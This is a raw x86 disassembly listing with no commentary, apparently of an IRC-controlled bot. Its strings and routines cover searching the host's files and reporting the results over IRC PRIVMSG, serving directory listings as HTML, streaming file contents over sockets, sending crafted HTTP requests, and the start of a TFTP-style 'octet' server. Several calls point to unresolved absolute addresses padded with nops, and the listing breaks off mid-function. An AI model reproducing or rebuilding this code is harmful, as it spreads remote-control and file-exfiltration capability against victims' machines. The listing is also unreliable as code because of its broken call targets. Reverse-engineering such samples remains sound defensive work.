		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417330
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_406106
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_40610F
; ---------------------------------------------------------------------------

loc_406106:				; CODE XREF: sub_4060D0+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_40610F:				; CODE XREF: sub_4060D0+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_4061AA
		mov	[ebp+arg_8], 2

loc_40613A:				; CODE XREF: sub_4060D0+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417AB0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40617A
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40617A
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_406194
; ---------------------------------------------------------------------------

loc_40617A:				; CODE XREF: sub_4060D0+7Aj
					; sub_4060D0+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40618A
		push	5Ch
		pop	eax
		jmp	short loc_40618D
; ---------------------------------------------------------------------------

loc_40618A:				; CODE XREF: sub_4060D0+B3j
		movsx	eax, al

loc_40618D:				; CODE XREF: sub_4060D0+B8j
		mov	[ebp+ebx+var_210], al

loc_406194:				; CODE XREF: sub_4060D0+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40613A

loc_4061AA:				; CODE XREF: sub_4060D0+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_314]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_418B6E
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 2690000h
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4061FB
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4061FE
		push	[ebp+arg_0]
		jmp	loc_40627E
; ---------------------------------------------------------------------------

loc_4061FB:				; CODE XREF: sub_4060D0+11Cj
		mov	[ebp+var_4], esi

loc_4061FE:				; CODE XREF: sub_4060D0+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40620B
		mov	[ebp+var_4], esi

loc_40620B:				; CODE XREF: sub_4060D0+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_406289
		cmp	[ebp+arg_C], edi
		jz	short loc_40627D
		lea	eax, [ebp+var_314]
		push	offset asc_42A65C ; "*"
		push	eax
		call	sub_4179D0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406ACA
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4172B0
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4062D8
; ---------------------------------------------------------------------------

loc_40627D:				; CODE XREF: sub_4060D0+152j
		push	ebx

loc_40627E:				; CODE XREF: sub_4060D0+126j
		call	dword_43F700
		jmp	loc_406380
; ---------------------------------------------------------------------------

loc_406289:				; CODE XREF: sub_4060D0+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2650975h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4062D8
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172B0
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2680C58h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 26309DCh

loc_4062D8:				; CODE XREF: sub_4060D0+1ABj
					; sub_4060D0+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_42A61C
		push	eax
		call	sub_4172B0
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_416D5C
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_4450C4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405F4D
		push	edi
		push	edi
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4450D4[ecx], eax
		jz	short loc_406352

loc_406340:				; CODE XREF: sub_4060D0+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_406380
		push	5
		nop
		call	near ptr 26003D2h
		jmp	short loc_406340
; ---------------------------------------------------------------------------

loc_406352:				; CODE XREF: sub_4060D0+26Ej
		push	ebx
		call	dword_43F700
		call	near ptr 2650C45h
		nop
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_42A5D4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h

loc_406380:				; CODE XREF: sub_4060D0+1B4j
					; sub_4060D0+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4060D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406387	proc near		; CODE XREF: sub_405F4D+15Ap
					; sub_40EE72+49CBp

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417330
		mov	edi, [ebp+arg_0]
		push	offset asc_42A660 ; "\n"
		push	edi
		call	sub_418B6E
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4063E6
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_4064E5
; ---------------------------------------------------------------------------

loc_4063E6:				; CODE XREF: sub_406387+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4064CB
		call	sub_417AB0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		push	edi
		call	sub_417AB0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_4064E5
; ---------------------------------------------------------------------------

loc_4064CB:				; CODE XREF: sub_406387+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h

loc_4064E5:				; CODE XREF: sub_406387+5Aj
					; sub_406387+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		cmp	[ebp+arg_C], ebx
		jz	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		sub	eax, 3
		pop	ecx
		jz	short loc_406531

loc_406525:				; CODE XREF: sub_406387+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406531
		dec	eax
		jnz	short loc_406525

loc_406531:				; CODE XREF: sub_406387+19Cj
					; sub_406387+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8

loc_406580:				; CODE XREF: sub_406387+180j
					; sub_406387+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 26C0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 26B0000h
		test	eax, eax
		jz	loc_406970
		mov	edi, 1FFh

loc_4065AC:				; CODE XREF: sub_406387+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 26A0657h
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 26A0000h
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_406621
		mov	ecx, offset aAm	; "AM"

loc_406621:				; CODE XREF: sub_406387+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40662D
		sub	eax, 0Ch

loc_40662D:				; CODE XREF: sub_406387+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4172B0
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4067D0
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4066A1
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_406919
; ---------------------------------------------------------------------------

loc_4066A1:				; CODE XREF: sub_406387+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40678B
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS	; "%s%s/"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_406741
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_406746
; ---------------------------------------------------------------------------

loc_406741:				; CODE XREF: sub_406387+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_406746:				; CODE XREF: sub_406387+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40691A
; ---------------------------------------------------------------------------

loc_40678B:				; CODE XREF: sub_406387+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_406929
; ---------------------------------------------------------------------------

loc_4067D0:				; CODE XREF: sub_406387+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40680F
		push	ebx
		push	[ebp+var_368]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi

loc_4067FB:				; CODE XREF: sub_406387+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		jmp	loc_406929
; ---------------------------------------------------------------------------

loc_40680F:				; CODE XREF: sub_406387+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_406903
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4068AF
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068B4
; ---------------------------------------------------------------------------

loc_4068AF:				; CODE XREF: sub_406387+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_4068B4:				; CODE XREF: sub_406387+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4067FB
; ---------------------------------------------------------------------------

loc_406903:				; CODE XREF: sub_406387+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_406919:				; CODE XREF: sub_406387+315j
		push	esi

loc_40691A:				; CODE XREF: sub_406387+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 18h

loc_406929:				; CODE XREF: sub_406387+444j
					; sub_406387+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		cmp	[ebp+arg_8], ebx
		jz	short loc_406958
		push	7D0h
		nop
		call	near ptr 26003D2h

loc_406958:				; CODE XREF: sub_406387+22Bj
					; sub_406387+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26B0000h
		test	eax, eax
		jnz	loc_4065AC

loc_406970:				; CODE XREF: sub_406387+21Aj
		push	[ebp+arg_0]
		call	near ptr 26900D3h
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_4069B3
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------

loc_4069B3:				; CODE XREF: sub_406387+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4069CD
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------

loc_4069CD:				; CODE XREF: sub_406387+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4172B0
		add	esp, 10h

loc_4069E7:				; CODE XREF: sub_406387+62Aj
					; sub_406387+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406387	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A0D	proc near		; CODE XREF: sub_405F4D+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 2650975h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406AC5
		push	esi
		push	ebx
		nop
		call	near ptr 2680C58h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406ABE

loc_406A52:				; CODE XREF: sub_406A0D+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A6F
		mov	edi, [ebp+arg_4]

loc_406A6F:				; CODE XREF: sub_406A0D+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2630000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406AB9
		call	dword_43F5FC
		cmp	eax, 2733h
		jnz	short loc_406ABE
		xor	eax, eax

loc_406AB9:				; CODE XREF: sub_406A0D+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A52

loc_406ABE:				; CODE XREF: sub_406A0D+43j
					; sub_406A0D+A8j
		push	ebx
		nop
		call	near ptr 26309DCh

loc_406AC5:				; CODE XREF: sub_406A0D+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406ACA	proc near		; CODE XREF: sub_4060D0+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_406AF3

loc_406ADD:				; CODE XREF: sub_406ACA+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406AE7
		mov	byte ptr [esi+edi], 2Fh

loc_406AE7:				; CODE XREF: sub_406ACA+17j
		push	edi
		inc	esi
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406ADD

loc_406AF3:				; CODE XREF: sub_406ACA+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AF8	proc near		; CODE XREF: sub_40EE72+2BE6p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_43F5E0
		push	6
		push	1
		push	2
		call	dword_43F6E8
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_43F668
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BD5
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B71
		mov	eax, offset byte_43C80C

loc_406B71:				; CODE XREF: sub_406AF8+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_43F6B8
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		pop	esi

loc_406BD5:				; CODE XREF: sub_406AF8+6Bj
		push	ebx
		call	dword_43F700
		call	dword_43F5C8
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4172B0
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C15
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_406C15:				; CODE XREF: sub_406AF8+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406AF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C19	proc near		; CODE XREF: sub_406C19:loc_407104p
					; DATA XREF: sub_407252+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406CDC
		push	190h
		nop
		call	near ptr 26003D2h
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC38
		push	eax
